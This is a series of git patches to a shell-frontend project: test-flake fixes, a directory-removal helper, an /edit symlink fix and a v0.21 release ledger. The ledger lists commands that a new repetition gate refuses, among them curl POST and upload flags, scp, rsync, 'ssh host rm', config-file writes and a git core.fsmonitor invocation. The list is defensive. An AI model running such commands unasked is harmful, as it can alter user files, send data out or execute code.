2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 18:22:47 +0530 Subject: [PATCH 036/157] removeDirectoryNow: remove the renamed copy entry by entry while another remover still works in it CI on #422 (Ubuntu) left a renamed copy behind after the five rmSync passes: GNU `rm -rf` works through directory descriptors, so the helper's own cleanup keeps deleting inside the renamed directory, and Node's rmSync stops early (no error) each time an entry vanishes under it. The path itself was gone every round. The copy is now removed pass by pass: list it, remove each entry tolerating ones that vanished, then remove the directory, retrying while it is not empty. Nothing can add entries to it (its path is gone), so every pass shrinks it; a deferred removal remains only as a last resort. Passes 3/3 on macOS and 5/5 on Linux. Refs #410 --- src/util/removeDirectory.ts | 41 +++++++++++++++++++++++++++++-------- 1 file changed, 32 insertions(+), 9 deletions(-) diff --git a/src/util/removeDirectory.ts b/src/util/removeDirectory.ts index a5cf4175..f49454fb 100644 --- a/src/util/removeDirectory.ts +++ b/src/util/removeDirectory.ts @@ -1,4 +1,4 @@ -import {existsSync, mkdtempSync, renameSync, rmSync} from 'node:fs'; +import {mkdtempSync, readdirSync, renameSync, rmdirSync, rmSync} from 'node:fs'; import {basename, dirname, join} from 'node:path'; /** @@ -13,15 +13,38 @@ export function removeDirectoryNow(path: string): void { grave = mkdtempSync(join(dirname(path), `${basename(path)}-gone-`)); renameSync(path, join(grave, 'directory')); } catch { /* Already gone, or not movable: removed where it is below. */ } - for (const target of grave ? [grave, path] : [path]) removeAll(target); + for (const target of grave ? [grave, path] : [path]) { + if (!removeTree(target)) { + setTimeout(() => { try { rmSync(target, {recursive: true, force: true}); } catch { /* Best effort. */ } }, 100).unref(); + } + } } -function removeAll(target: string): void { - // A remover that already holds the directory open (`rm -rf` works through directory descriptors, so it follows the - // rename) can make one rmSync stop early without an error; another pass finishes what is left. - for (let pass = 0; pass < 5; pass += 1) { - try { rmSync(target, {recursive: true, force: true, maxRetries: 3, retryDelay: 5}); } catch { /* Another pass. */ } - if (!existsSync(target)) return; +/** + * Remove a directory tree while another remover may be deleting inside it. A remover that already holds the directory + * open (`rm -rf` works through directory descriptors, so it follows a rename) makes entries vanish mid-walk, and one + * rmSync then stops early without an error. Each pass removes what is listed, tolerating what vanished, and retries + * the directory itself while it is not empty; nothing can add entries (its path is gone), so every pass shrinks it. + */ +function removeTree(target: string): boolean { + for (let pass = 0; pass < 50; pass += 1) { + let names: string[]; + try { names = readdirSync(target); } + catch (error) { + const code = (error as NodeJS.ErrnoException).code; + if (code === 'ENOENT') return true; + if (code !== 'ENOTDIR') return false; + try { rmSync(target, {force: true}); return true; } catch { return false; } + } + for (const name of names) { + try { rmSync(join(target, name), {recursive: true, force: true}); } catch { /* Vanished or retried next pass. */ } + } + try { rmdirSync(target); return true; } + catch (error) { + const code = (error as NodeJS.ErrnoException).code; + if (code === 'ENOENT') return true; + if (code !== 'ENOTEMPTY' && code !== 'EEXIST' && code !== 'EBUSY') return false; + } } - setTimeout(() => { try { rmSync(target, {recursive: true, force: true}); } catch { /* Best effort. */ } }, 100).unref(); + return false; } From c3500577810c91fce60ba54578417e200bb8a72e Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 18:54:09 +0530 Subject: [PATCH 037/157] Codex adapter test: wait for what the fake server has recorded, not the moment the turn settles Failed once on dev (dispatched CI, Ubuntu): `client.length` 5, expected 6. The fake server records a client message when it reads it. When its request 101 reached the client after the person had answered 100, the client's refusal of 101 was written after that answer; the server completed the turn first and the test read the log at `settled`, one message short. Not a product defect: both responses are sent. The fixture now sends 101 a moment later, so this order happens every run (the old test then fails 3 of 3), and the helper waits (bounded) until the messages the test asserts are on record. 5 of 5 runs pass. Refs #410 --- tests/codexAdapter.test.ts | 14 +++++++++++--- tests/fixtures/fake-codex-app-server.mjs | 4 +++- 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/tests/codexAdapter.test.ts b/tests/codexAdapter.test.ts index ef005ce0..89639216 100644 --- a/tests/codexAdapter.test.ts +++ b/tests/codexAdapter.test.ts @@ -33,7 +33,13 @@ test('messages: items, approvals and turn results normalize from structured fiel } }); -async function session(scenario: string, act: (session: CodexSession, events: AgentEvent[], wait: (kind: AgentEvent['kind'], count?: number) => Promise) => Promise) { +/** + * Runs one scenario and returns what the client sent, as the fake server recorded it. The server records a message when + * it reads it, which can be after the turn settles (a refusal written after the person's answer), so `recorded` says + * what the test needs on record; it is waited for (bounded) rather than read at whatever moment the turn settled. + */ +async function session(scenario: string, act: (session: CodexSession, events: AgentEvent[], wait: (kind: AgentEvent['kind'], count?: number) => Promise) => Promise, + recorded: (client: Array>) => boolean = () => true) { const directory = await mkdtemp(join(tmpdir(), 'nmsh-codex-')); const log = join(directory, 'client.log'); const events: AgentEvent[] = []; @@ -50,7 +56,9 @@ async function session(scenario: string, act: (session: CodexSession, events: Ag try { assert.deepEqual(codex.start(), {ok: true}); await act(codex, events, wait); - const client = (await readFile(log, 'utf8').catch(() => '')).trim().split('\n').filter(Boolean).map(line => JSON.parse(line) as Record); + const read = async () => (await readFile(log, 'utf8').catch(() => '')).trim().split('\n').filter(Boolean).map(line => JSON.parse(line) as Record); + let client = await read(); + for (const deadline = Date.now() + 5000; !recorded(client) && Date.now() < deadline; client = await read()) await new Promise(resolve => setTimeout(resolve, 20)); return client; } finally { codex.close(); @@ -78,7 +86,7 @@ test('a session: handshake, thread, a message, one approval answered by the pers ]); assert.deepEqual(events.filter(event => event.kind === 'assistant'), [{kind: 'assistant', text: 'Cleaned.'}]); assert.deepEqual(events.at(-1), {kind: 'settled', ok: true}); - }); + }, client => client.some(message => message.id === 100) && client.some(message => message.id === 101)); // The two responses race (the refusal is immediate, the approval waits for the person), so only the first four are ordered. assert.deepEqual(client.slice(0, 4).map(message => message.method), ['initialize', 'initialized', 'thread/start', 'turn/start']); assert.equal(client.length, 6); diff --git a/tests/fixtures/fake-codex-app-server.mjs b/tests/fixtures/fake-codex-app-server.mjs index baa1dc6b..bb012c0a 100644 --- a/tests/fixtures/fake-codex-app-server.mjs +++ b/tests/fixtures/fake-codex-app-server.mjs @@ -37,7 +37,9 @@ createInterface({input: process.stdin}).on('line', line => { if (scenario === 'fail') return send({method: 'turn/completed', params: {threadId: 'thr_1', turn: {id: 'turn_1', status: 'failed', error: {message: 'usage limit reached\nsecond line'}, items: []}}}); send({method: 'item/started', params: {threadId: 'thr_1', turnId: 'turn_1', startedAtMs: 1, item: {type: 'commandExecution', id: 'item_1', command: 'rm -rf build', commandActions: [], cwd: '/tmp', status: 'inProgress'}}}); send({id: 100, method: 'item/commandExecution/requestApproval', params: {threadId: 'thr_1', turnId: 'turn_1', itemId: 'item_1', startedAtMs: 1, command: 'rm -rf build', cwd: '/tmp', reason: 'cleans the build'}}); - send({id: 101, method: 'item/tool/requestUserInput', params: {threadId: 'thr_1', turnId: 'turn_1', itemId: 'item_9', questions: []}}); + // A moment later, as a separate read: the person may already have answered 100, so the client's refusal of 101 can + // reach this server after that answer (and after the turn completes). Tests must wait for what they assert. + setTimeout(() => send({id: 101, method: 'item/tool/requestUserInput', params: {threadId: 'thr_1', turnId: 'turn_1', itemId: 'item_9', questions: []}}), 30); return; } if (id === 100) { From 50cdf02675cd02954652ac856016aa7eb17d1a32 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 18:57:23 +0530 Subject: [PATCH 038/157] Native capture tests: the owner's cold start is waited for before the capture windows begin Two more tests in this file failed in a local verify:release run with the load average at 35-67 (the machine shared with other workloads): their 3 s windows began at spawn, and the owner process had not finished its cold `node --import=tsx` start ("loadedAfterMs": null). Like 25759cea, they now wait (bounded, 30 s) for the owner to load, and their tight windows start there. 9/9 pass, three runs. Refs #410 --- tests/nativeCaptureLifecycle.test.ts | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tests/nativeCaptureLifecycle.test.ts b/tests/nativeCaptureLifecycle.test.ts index 475d29b7..1d186cb6 100644 --- a/tests/nativeCaptureLifecycle.test.ts +++ b/tests/nativeCaptureLifecycle.test.ts @@ -246,6 +246,9 @@ for (const configured of [false, true]) test(`${configured ? 'configured' : 'nat owner.stderr!.on('data', data => { ownerError = (ownerError + String(data)).slice(-4096); }); let inner = 0; try { + // The owner's cold `node --import=tsx` start is not what this test bounds (under a full parallel run it alone can + // take longer than the capture's own window); the bounds below start once it has loaded. + await until(() => loadedAt !== undefined || owner.exitCode !== null, 30_000, 'the owner process to load'); const identity = await publishedCapture(root, prefix); const transport = identity.transport; inner = identity.pid; @@ -300,12 +303,15 @@ exec /bin/zsh "$@" chmodSync(join(bin, 'zsh'), 0o700); const module = new URL('../src/shell/CompletionService.ts', import.meta.url).href; const program = `import {NativeCompletionSource} from ${JSON.stringify(module)}; +import {writeFileSync} from 'node:fs'; +writeFileSync(${JSON.stringify(join(root, 'owner-ready'))}, ''); await new NativeCompletionSource().query({buffer:'g',cwd:${JSON.stringify(root)}},new AbortController().signal);`; const owner = spawn(process.execPath, ['--import=tsx', '--input-type=module', '-e', program], { env: {...process.env, HOME: root, FPATH: root, TMPDIR: root, PATH: `${bin}:${process.env.PATH}`}, stdio: 'ignore', detached: true, }); let inner = 0; try { + await until(() => existsSync(join(root, 'owner-ready')) || owner.exitCode !== null, 30_000, 'the owner process to load'); await until(() => existsSync(marker), 3000, 'controlled PID rewrite'); inner = Number(readFileSync(join(root, 'inner-pid'), 'utf8')); assert.ok(Number.isSafeInteger(inner) && inner > 1); From 18715a558950d0b29a54232508585743f7972970 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 19:09:11 +0530 Subject: [PATCH 039/157] v0.21 ledger: stabilization findings, verification, ordered integration and release gates Refs #410 --- docs/development/v021-ledger.md | 104 +++++++++++++++++++++++++++++--- 1 file changed, 95 insertions(+), 9 deletions(-) diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index e182f66b..c6ee9e43 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -22,7 +22,12 @@ Automated results here are not physical-terminal validation. | 5 | `/track` | #393 (#394) | `feature/v021-track` / [#416](https://github.com/raiseCatError/notMyShell/pull/416) → #415 | | PR open, CI green | | 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` / [#417](https://github.com/raiseCatError/notMyShell/pull/417) → #416 | | PR open, CI green (one rerun) | | 7 | Themes and controls | #401, #336 | `feature/v021-themes` / [#418](https://github.com/raiseCatError/notMyShell/pull/418) → #417 | | PR open, CI green | -| 8 | Checkpoint (this ledger) | #410 | `docs/v021-checkpoint` → #418 | | PR open, CI green | +| 8 | Checkpoint ledger | #410 | `docs/v021-checkpoint` / [#419](https://github.com/raiseCatError/notMyShell/pull/419) → #418 | | PR open, CI green | +| 9 | `/track` refresh and finalization lifecycle | #393 | `fix/v021-track-review-hardening` / [#420](https://github.com/raiseCatError/notMyShell/pull/420) → #419 | | PR open, CI green | +| 10 | `/track` review: repetition safety gate, process cleanup, presentation | #393 | `fix/v021-stabilize` / [#421](https://github.com/raiseCatError/notMyShell/pull/421) → #420 | | PR open, CI green | +| 11 | Flaky CI at the cause | #410 | `fix/v021-flaky-tests` / [#422](https://github.com/raiseCatError/notMyShell/pull/422) → #421 | | PR open, CI green | +| 12 | Bugs: #388 wrapped rows, command colors after a slow zshrc, #365 width | #388, #408, #365 | `fix/v021-bugs` / [#423](https://github.com/raiseCatError/notMyShell/pull/423) → #422 | | PR open, CI green | +| 13 | Stabilization ledger (this) | #410 | `docs/v021-stabilization` → #423 | | PR open | ## Decisions @@ -58,11 +63,11 @@ toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, sto ## Open risks -- Merging into `dev` needs the maintainer (the agent's merge was refused by its permission policy). Slices are - stacked PRs; merge them in order, each squashed. -- #388: programs that position rows absolutely inline (rare) still append; recorded in the design. +- Merging into `dev`: see "Ordered integration" below. Use regular merge commits, in order. +- #388: absolute rows (`CSI H/f/d`) are deliberately not mapped and scroll regions are not emulated (a program's + status row below its region is not stored); the contract is explicit and tested (stabilization). - Nothing in v0.21 has had a physical-terminal pass yet. Every slice issue stays open until its pass is recorded. -- Three CI flakes outside v0.21's changes were seen once each (below); none reproduced on rerun. +- The three CI flakes seen during the stack were fixed at their cause in #422 (two were product defects). ## Integration verification (stack head, 2026-10-18) @@ -93,9 +98,90 @@ Run on `feature/v021-themes` (all eight slices) in a T7 worktree, `NMSH_TEST_TMP loads (8 MiB / 200,000 lines), `/edit` (1 MiB), Semantic Output recognizers (linear, 2 MiB scanned, 20 items), `/track` samples (200 kB, 12 live rows, at most 8 trackers). +## Stabilization (2026-10-18) + +A second pass after the stack: every open `type:bug` issue, a joint review of `/track` (#416 and #420), the CI +flakes, and the v0.21 integration. Linux evidence comes from a Debian container (Node 26.12, zsh 5.9, Fish 3.6, +Bash 5.2) whose disk is on the T7 (Colima, `/Volumes/T7Projects/.colima-suma`); macOS from this Mac (Node 26.10, +Fish 4.9.3). Every new regression test was run against the unfixed code first and failed there. + +**`/track` review (#421).** Commands started at once and repeated without asking: `echo x > ~/.zshrc 2>/dev/null` +(the shared classifier excused every redirect once `>/dev/null` appeared; paste review called it read-only), +`env rm …`, `npm publish`/`login`/`audit fix`, `npm x`/`pnpm dlx`/`bun x`, `ssh host rm …`, `scp`, `rsync`, +`curl -X POST`/`-d`/`-o`, plain `wget`, `git -c core.fsmonitor=… status`, `git log --output=…`; `npm test 2>&1` was +wrongly refused. A repetition gate (`src/tasks/repeatSafety.ts`) now sits on top of the classifier, and `&>` stays +refused (dash reads it as a background job). A TERM-ignoring child survived `/track stop` because the close handler +cancelled the KILL fallback; leftovers in a sample's process group are now ended. #420's refresh event fires after +the child is wired; a vanished directory is named; many trackers share one summary row; Safe glyphs; result rows +cached per result (1–3 ms to ~0.5 ms per frame with eight large trackers). #420 itself: no re-entrancy, stale +reference or duplicate finalization found. + +**Flaky CI (#422).** `backgroundSession.test.ts:92` was a product defect: a cleanly exiting background task showed +"exited, processes left" (and Delete was refused) until its guard confirmed the group empty; the supervisor now +finishes on the guard's verdict. `configuredCompletion.test.ts:89` was a product defect: removing the helper's +private root raced the helper's own `rm -rf` and late pid writes (rmSync threw ENOTEMPTY on macOS, returned with the +directory present on Linux); the root is renamed away first, then removed entry by entry. The 6-minute Ubuntu hang +was a test that stalled past its timeout with a live shell PTY: the runner now preloads a file teardown that ends, +and names, what a file left running. `nativeCaptureLifecycle`: its tight bound no longer covers a cold `tsx` start. A fourth +flake appeared once on `dev` itself (dispatched CI): `codexAdapter.test.ts:84` read the fake Codex server's log when +the turn settled, before the server had read the client's last response; the fixture now forces that order every run +and the helper waits for what the test asserts. + +**Bugs (#423).** #388: the live region moved by stored lines while programs count terminal rows, so a redraw over a +wrapped line erased the program's earlier output at narrow widths (parser, real PTY at 40 columns, and through the +frontend); rows are now the terminal's rows. Found verifying #408: a zsh configuration slower than 1.5 s made the +first semantic lookup time out and end the helper, so commands lost their known/unknown color for the session; +lookups are now timed from when the helper reads them. #365: `/modules explain` says when the Rail or Strip left a +module out, or shortened it, for width in the last frame. + +**Investigated, not reproducible.** #356 (Fish typeahead after a read): 40/40 on macOS Fish 4.9.3 under 8× parallel +load; 22/22 Linux Fish 3.6 runs that got past startup under 2× load (the other 2 stalled on VM I/O before drawing). +#403: every interactive Fish in tests has a home marked generated; non-interactive uses never start the generator. +#408's generation/re-ask synchronization holds. + +**Also checked.** Semantic Output: 99 adversarial input/recognizer combinations up to a 2 MB single line, none over +150 ms. Docker-specific `/track` checks were not run against a Docker daemon of NMSh's own (the only one available +runs the maintainer's containers); `docker system df` stays the one Docker verb allowed at once, by unit test. + +**Verification (stabilization).** +- CI on each new PR (#420–#423: macOS and Ubuntu shards, Node 22 compatibility, Quality): green at their heads. +- Full CI dispatched on the stack head, which also runs the Fedora portability subset and both timing smokes: + `bb210ce5` and the final head `e8411e1a` (test-only changes since), all jobs green on both. +- Timing smoke against `dev` in the same window (dispatched pair, CI runners): Ubuntu `pty-ready` p50 415 vs 416 ms, + `service-ready` 580 vs 580 ms, `transcript/wrap-present-100000` 811 vs 848 ms; macOS `pty-ready` 28 vs 33 ms, + `transcript/wrap-present-100000` 1,132 vs 1,165 ms. No consistent regression; single runs vary by more than that. +- The paired `dev` run failed a fourth flake (`codexAdapter.test.ts:84`), fixed in #422 (above). +- Local `npm run verify:release` on this 8 GB Mac could not give a clean full-suite result during the session: the + machine was shared with other workloads (two container queue workers at about 120% CPU each in the Colima VM, other + agent sessions, a browser), with load averages of 35–167 and 4.6 GB of swap in use. One run (`bb210ce5`, load 35–67) + had 3,127 of 3,142 passing, 2 skipped and 13 failures, all live tests timing out (tmux, screen, service lifecycle, + per-frame budgets) plus two capture tests whose windows included the owner's cold `tsx` start (fixed in #422). All + seven failing files then passed 69/69 three times in a row at normal load. A clean local run on `dev` after + integration remains a gate. + +## Ordered integration + +`dev` is unprotected and allows merge commits; merged branches are not deleted automatically. Merge with regular merge +commits, in order: #411 into `dev`; then for each of #412 … #423 and this ledger PR, retarget it to `dev` +(`gh pr edit N --base dev`), check that its diff shows only its own changes, and merge it (`gh pr merge N --merge`). +Then let `dev` CI pass (push runs include Fedora and both timing smokes) and run `npm run verify:release` on `dev`. + ## Release readiness -Ready for the maintainer's decision, not for release. Before a v0.21 tag: merge #411→#418 in order (then this -checkpoint), let `dev` CI pass, run the [physical QA](../testing/v021-physical-qa.md) passes and record them, then -close the slice issues whose passes succeed. Tagging, the GitHub release, the Homebrew tap and the website deploy -stay with the maintainer. +Not ready to release; ready for integration. Exact-head CI on the stack head `e8411e1a` is green in every job, including +Fedora portability and both timing smokes. Remaining gates, in order: + +1. **Integration** (maintainer, or the agent where its permission policy allows): the ordered merges above, #411 to + #423 and this ledger PR, with regular merge commits; then `dev` CI green on push. +2. **Local `npm run verify:release` on `dev`** at normal machine load (the in-session runs were overloaded; see above). +3. **Physical QA, mandatory and not run**: every pass in the [checklist](../testing/v021-physical-qa.md), in Ghostty + and Terminal.app, recorded in its results table. Headless PTY tests and CI do not count. +4. Then close the issues whose acceptance is met (#388, #393, #397, #401, #402 viewer and editor phases, #403, #408, + #364, #365, #386 first phase, #336 where applicable), move `[Unreleased]` to `[0.21.0]` in the changelog, and + prepare the tag, release notes and distribution. Tagging, the GitHub release, the Homebrew tap and the website + deploy stay with the maintainer. + +Known limitations shipped deliberately: `/track` is window-owned (stops on detach); Semantic Output is its first +phase (no `jc`/`delta` providers); inline absolute cursor positioning is not mapped and scroll regions are not +emulated (#388 contract); the Main Prompt has no per-segment truncation trace (#365); four theme families deferred +(#401); type-ahead *during* a Fish read stays subject to Fish's own editor queries (#356). From 3056d8ec6e7953f72321550efd0e8639ead19cbd Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 19:19:57 +0530 Subject: [PATCH 040/157] Two timing-bound tests stop measuring cold starts they do not test From the last local verify:release (3,138 of 3,142 passing, 2 skipped): two tests in code v0.21 does not change failed under load and pass alone (5/5). - directoryNavigation: the fake zoxide was a Node script whose cold start can exceed the zoxide query's 1.5 s limit, so the service (rightly) fell back to Native. It is now a shell script, quick to start like the real native binary. - configuredCompletion 'bounded to 4096 records': it tests the record cap, not startup; its helper now gets the full startup cap (5 s) so a loaded machine's compinit does not turn into an empty result. Refs #410 --- tests/configuredCompletion.test.ts | 4 +++- tests/directoryNavigation.test.ts | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/tests/configuredCompletion.test.ts b/tests/configuredCompletion.test.ts index 73cd07c0..639b1460 100644 --- a/tests/configuredCompletion.test.ts +++ b/tests/configuredCompletion.test.ts @@ -10,7 +10,9 @@ import {CompletionService} from '../src/shell/CompletionService.js'; test('real configured candidate capture is bounded to 4096 records', async () => { const home = mkdtempSync(join(tmpdir(), 'nmsh-large-completion-')); writeFileSync(join(home, '.zshrc'), 'autoload -Uz compinit\ncompinit -D\n_large() { compadd -J large -- value{1..5000}; }\ncompdef _large large\n'); - const source = new ConfiguredCompletionSource({env: {...process.env, HOME: home}, startupMs: 4000, queryMs: 2000}); + // This bounds the records, not startup: the helper's own startup cap (5 s) and a long query window keep a loaded + // machine's compinit from turning into an empty result. + const source = new ConfiguredCompletionSource({env: {...process.env, HOME: home}, startupMs: 5000, queryMs: 2000}); try { const values = await source.query({buffer: 'large v', cwd: home}, new AbortController().signal); assert.equal(values.length, 4096); diff --git a/tests/directoryNavigation.test.ts b/tests/directoryNavigation.test.ts index d34635d2..d9d1b33f 100644 --- a/tests/directoryNavigation.test.ts +++ b/tests/directoryNavigation.test.ts @@ -46,7 +46,9 @@ test('zoxide query uses a temporary copy, caches results and falls back on missi try { await writeFile(join(directory, 'db.zo'), 'original', {mode: 0o600}); const binary = join(directory, 'zoxide'); - await writeFile(binary, `#!${process.execPath}\nconst fs=require('node:fs');if(process.env._ZO_DATA_DIR===process.env.ORIGINAL_DB)process.exit(2);fs.writeFileSync(process.env._ZO_DATA_DIR+'/db.zo','sorted');fs.appendFileSync(process.env.CALLS,JSON.stringify(process.argv.slice(2))+'\\n');process.stdout.write('20.5 /work/one\\n 4.0 /work/two spaces\\n');\n`, {mode: 0o700}); + // A shell script, like the real (native) zoxide quick to start: a Node stand-in's cold start could exceed the query's + // 1.5 s limit on a loaded machine, and the service then (rightly) fell back to Native. + await writeFile(binary, `#!/bin/sh\n[ "$_ZO_DATA_DIR" = "$ORIGINAL_DB" ] && exit 2\nprintf sorted > "$_ZO_DATA_DIR/db.zo"\nprintf '["%s","%s","%s","%s"]\\n' "$1" "$2" "$3" "$4" >> "$CALLS"\nprintf '20.5 /work/one\\n 4.0 /work/two spaces\\n'\n`, {mode: 0o700}); const calls = join(directory, 'calls'); const service = new DirectoryService({...process.env, PATH: directory, _ZO_DATA_DIR: directory, ORIGINAL_DB: directory, CALLS: calls}); assert.equal((await service.query([], '', 'zoxide'))[0]?.path, '/work/one'); From 06bc20342759a9589d5847d8df4c817846c38e64 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 19:20:15 +0530 Subject: [PATCH 041/157] v0.21 ledger: the second local release run Refs #410 --- docs/development/v021-ledger.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index c6ee9e43..69a3cc08 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -156,8 +156,12 @@ runs the maintainer's containers); `docker system df` stays the one Docker verb agent sessions, a browser), with load averages of 35–167 and 4.6 GB of swap in use. One run (`bb210ce5`, load 35–67) had 3,127 of 3,142 passing, 2 skipped and 13 failures, all live tests timing out (tmux, screen, service lifecycle, per-frame budgets) plus two capture tests whose windows included the owner's cold `tsx` start (fixed in #422). All - seven failing files then passed 69/69 three times in a row at normal load. A clean local run on `dev` after - integration remains a gate. + seven failing files then passed 69/69 three times in a row at normal load. A second run on `e8411e1a` (load + 3–13): 3,138 of 3,142 passing, 2 skipped, 2 failed, both timing bounds in code v0.21 does not change that pass + alone 5/5 (a Node stand-in for zoxide whose cold start exceeded the 1.5 s query limit, and a 4 s startup budget + for a 5,000-candidate compinit); both tests were hardened in #422. Typecheck of the benchmarks and the timing smoke + ran only in CI (verify stops at the first failing step). A clean local run on `dev` after integration remains a + gate. ## Ordered integration From cefa4848bb37790739f12f2c97cd0b51ba96454d Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 20:51:38 +0530 Subject: [PATCH 042/157] /edit: a new file in a symlinked folder saves again without a false conflict A path that did not exist yet kept its unresolved path as the file's real path. After the first save, every later save compares realpath() of the path as given with that real path, so in a folder reached through a symlink (macOS /tmp and /var, or any linked project folder) the second save reported "was replaced on disk since you opened it" and offered Overwrite or Reload. The folder is now resolved when the file is opened, so the real path is the one the file has once it exists. A file replaced after the first save is still a conflict; the regression covers both, and fails on the old code. --- src/viewer/fileEdit.ts | 6 +++++- tests/textEditor.test.ts | 25 +++++++++++++++++++++++++ 2 files changed, 30 insertions(+), 1 deletion(-) diff --git a/src/viewer/fileEdit.ts b/src/viewer/fileEdit.ts index 0ad39a90..e6160361 100644 --- a/src/viewer/fileEdit.ts +++ b/src/viewer/fileEdit.ts @@ -82,7 +82,11 @@ export async function openForEdit(input: string, cwd: string, options: {home?: s try { info = await stat(directory); } catch { return {ok: false, reason: `${displayPath(directory, home)} does not exist; create the directory first.`}; } if (!info.isDirectory()) return {ok: false, reason: `${displayPath(directory, home)} is not a directory.`}; if (!(await writable(directory))) return {ok: false, reason: `${displayPath(directory, home)} is not writable, so ${shown} cannot be created.`}; - return {ok: true, file: {path, realPath: path, title: shown, lineEnding: 'lf', bom: false, finalNewline: true, lines: ['']}}; + // The real path it will have (the folder may be reached through a symlink, as macOS /tmp is): every later save + // checks the file against realpath() of the path as given, which is this once the file exists. + let realDirectory: string; + try { realDirectory = await realpath(directory); } catch (error) { return {ok: false, reason: failure(error, 'open', shown)}; } + return {ok: true, file: {path, realPath: join(realDirectory, basename(path)), title: shown, lineEnding: 'lf', bom: false, finalNewline: true, lines: ['']}}; } let handle; try { handle = await open(realPath, constants.O_RDONLY | constants.O_NONBLOCK | (constants.O_NOFOLLOW ?? 0) | (constants.O_NOCTTY ?? 0)); } diff --git a/tests/textEditor.test.ts b/tests/textEditor.test.ts index 84ab2216..5701f594 100644 --- a/tests/textEditor.test.ts +++ b/tests/textEditor.test.ts @@ -218,6 +218,31 @@ test('save: a changed, replaced or deleted original is a conflict; Overwrite is } finally { rmSync(root, {recursive: true, force: true}); } }); +test('save: a new file in a folder reached through a symlink saves again without a false conflict', async () => { + // macOS /tmp and /var are symlinks, and a shell's directory keeps the path as typed. + const root = scratch(); + try { + mkdirSync(join(root, 'real')); + symlinkSync(join(root, 'real'), join(root, 'alias')); + let file = await opened(join(root, 'alias', 'notes.txt')); + assert.equal(file.identity, undefined, 'a new file'); + const first = await saveFile(file, ['one']); + assert.ok(first.ok, first.ok ? '' : first.reason); + file = first.file; + const second = await saveFile(file, ['one', 'two']); + assert.ok(second.ok, second.ok ? '' : `second save: ${second.reason}`); + assert.equal(readFileSync(join(root, 'real', 'notes.txt'), 'utf8'), 'one\ntwo\n'); + assert.ok(lstatSync(join(root, 'alias')).isSymbolicLink(), 'the folder link is kept'); + // The resolved path is still checked: a file replaced after the first save is a conflict, not overwritten. + writeFileSync(join(root, 'real', 'other.txt'), 'theirs\n'); + renameSync(join(root, 'real', 'other.txt'), join(root, 'real', 'notes.txt')); + const replaced = await saveFile(second.file, ['mine']); + assert.ok(!replaced.ok && replaced.conflict === 'replaced'); + assert.equal(readFileSync(join(root, 'real', 'notes.txt'), 'utf8'), 'theirs\n'); + assert.deepEqual(readdirSync(join(root, 'real')).filter(name => name.includes('.nmsh-')), [], 'no temporary files'); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + test('save: a failure keeps the text and leaves nothing behind', {skip: process.getuid?.() === 0 && 'root ignores permissions'}, async () => { const root = scratch(); try { From 917d02517585bd86728494eaa646183c8bae8e88 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 21:19:11 +0530 Subject: [PATCH 043/157] Input ownership test: type the follow-up after the answered command completes MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The waiting-read test typed its follow-up command as soon as the answer's output was on screen, and its "nothing was queued" check ran before that follow-up had run. On a busy host the shell's prompt for the answered command can arrive after the program's output; an Enter in that window queues, as designed, so the check failed on the test's own follow-up (seen on PR CI, Ubuntu, and locally under load). A diagnostic run recorded the queued entry as `echo BACK-…` with queued: true and the queue empty once it ran. The test now waits for the answered command's journal record (zsh, Bash) and for the shell to be back at its prompt (every shell), then waits for the follow-up to complete before checking that the answer never ran as a command and nothing is left queued. An answer that is itself queued still fails the test, at the wait for the program's output (#426). --- tests/inputOwnershipLive.test.ts | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/tests/inputOwnershipLive.test.ts b/tests/inputOwnershipLive.test.ts index dabc72e3..619cb8fb 100644 --- a/tests/inputOwnershipLive.test.ts +++ b/tests/inputOwnershipLive.test.ts @@ -83,17 +83,20 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { await type(frontend, read.keys); if (read.enter) frontend.pty.write('\r'); await frontend.waitFor(read.answered, mark, 10_000); - // The command completes and the composer is back: an ordinary command runs at once, not queued. + // The answered command completes (its record is journaled after the screen, later on a slower host; Fish's + // reader has the terminal, so its output is not journaled) and the shell is back at its prompt. Until then + // the program's output can be on screen while the command still runs, and an Enter then queues, as designed. + const journaled = async () => (await records(sandbox)).filter(entry => entry.command === read.command); + if (shell !== 'fish') await until(async () => (await journaled()).length > before, 15_000, `${what}: journaled`); + await until(async () => (await sandbox.sessions())[0]?.running === undefined, 15_000, `${what}: the shell is back at its prompt`); + // An ordinary command then runs. Once it has, nothing typed for the program ran as a command or is left queued. const tag = `BACK-${reactionMs}-${read.name.length}`; - await frontend.run(`echo ${tag}`, new RegExp(tag, 'u'), {completion: false}); + await frontend.run(`echo ${tag}`, new RegExp(tag, 'u')); const all = await records(sandbox); assert.equal(all.some(record => record.command.trim() === read.keys), false, `${what}: the answer never ran as a command`); assert.equal(await queued(sandbox), 0, `${what}: nothing was queued`); if (read.secret) assert.equal(strip(frontend.output.slice(mark)).includes(SECRET), false, `${what}: the hidden answer is never drawn`); - // Exactly once, from the journal (Fish's 